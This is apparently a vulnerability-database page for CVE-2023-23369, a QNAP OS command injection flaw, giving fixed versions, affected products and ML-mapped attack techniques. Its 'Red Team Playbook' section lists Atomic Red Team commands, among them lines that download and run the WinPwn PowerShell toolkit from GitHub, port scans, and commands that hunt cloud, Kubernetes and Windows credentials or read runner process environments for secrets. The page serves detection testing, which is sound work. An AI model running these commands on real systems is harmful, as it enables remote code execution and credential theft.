CVE-2023-23369
Overview
This vulnerability is an OS command injection flaw rooted in improper input validation within QNAP's Multimedia Console and QTS operating system components. The affected modules fail to sanitize user-supplied input correctly, allowing injection of arbitrary operating system commands. The vulnerability resides in network-exposed interfaces that process command parameters without adequate filtering or escaping, enabling malicious command execution.
Vulnerability Description
An OS command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to execute commands via a network. We have already fixed the vulnerability in the following versions: Multimedia Console 2.1.2 ( 2023/05/04 ) and later Multimedia Console 1.4.8 ( 2023/05/05 ) and later QTS 5.1.0.2399 build 20230515 and later QTS 4.3.6.2441 build 20230621 and later QTS 4.3.4.2451 build 20230621 and later QTS 4.3.3.2420 build 20230621 and later QTS 4.2.6 build 20230621 and later Media Streaming add-on 500.1.1.2 ( 2023/06/12 ) and later Media Streaming add-on 500.0.0.11 ( 2023/06/16 ) and later
Impact
An unauthenticated remote attacker with network access can exploit this vulnerability to execute arbitrary OS commands with system-level privileges. This enables full control over the affected device, including data manipulation, service disruption, and potential lateral movement within the network. The attack requires no user interaction and benefits from high severity metrics (CVSS 9.0) due to its network attack vector, high complexity, and complete impact on confidentiality, integrity, and availability.
Solution
QNAP has addressed this vulnerability in Multimedia Console versions 2.1.2 and later, 1.4.8 and later, QTS builds 5.1.0.2399 and later, 4.3.6.2441 and later, 4.3.4.2451 and later, 4.3.3.2420 and later, 4.2.6 build 20230621 and later, and Media Streaming add-on versions 500.1.1.2 and 500.0.0.11 and later. Users should apply these updates promptly. Detailed patch instructions and advisory information are available at QNAP's security advisory page: https://www.qnap.com/en/security-advisory/qsa-23-35.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (91)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Qnap | Qts | 5.1.0.2348 |
cpe:2.3:o:qnap:qts:5.1.0.2348:build_20230325:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.0895 |
cpe:2.3:o:qnap:qts:4.3.6.0895:build_20190328:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.0907 |
cpe:2.3:o:qnap:qts:4.3.6.0907:build_20190409:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.0923 |
cpe:2.3:o:qnap:qts:4.3.6.0923:build_20190425:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.0944 |
cpe:2.3:o:qnap:qts:4.3.6.0944:build_20190516:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.0959 |
cpe:2.3:o:qnap:qts:4.3.6.0959:build_20190531:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.0979 |
cpe:2.3:o:qnap:qts:4.3.6.0979:build_20190620:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.0993 |
cpe:2.3:o:qnap:qts:4.3.6.0993:build_20190704:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.1013 |
cpe:2.3:o:qnap:qts:4.3.6.1013:build_20190724:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.1033 |
cpe:2.3:o:qnap:qts:4.3.6.1033:build_20190813:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.1070 |
cpe:2.3:o:qnap:qts:4.3.6.1070:build_20190919:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.1154 |
cpe:2.3:o:qnap:qts:4.3.6.1154:build_20191212:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.1218 |
cpe:2.3:o:qnap:qts:4.3.6.1218:build_20200214:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.1263 |
cpe:2.3:o:qnap:qts:4.3.6.1263:build_20200330:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.1286 |
cpe:2.3:o:qnap:qts:4.3.6.1286:build_20200422:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.1333 |
cpe:2.3:o:qnap:qts:4.3.6.1333:build_20200608:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.1411 |
cpe:2.3:o:qnap:qts:4.3.6.1411:build_20200825:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.1446 |
cpe:2.3:o:qnap:qts:4.3.6.1446:build_20200929:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.1620 |
cpe:2.3:o:qnap:qts:4.3.6.1620:build_20210322:*:*:*:*:*:*
|
|
|
Qnap | Qts | 4.3.6.1663 |
cpe:2.3:o:qnap:qts:4.3.6.1663:build_20210504:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
51%
|
Medium | High |
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-23369 |
| qnap.com |
GitHub CVE
|
https://www.qnap.com/en/security-advisory/qsa-23-35 |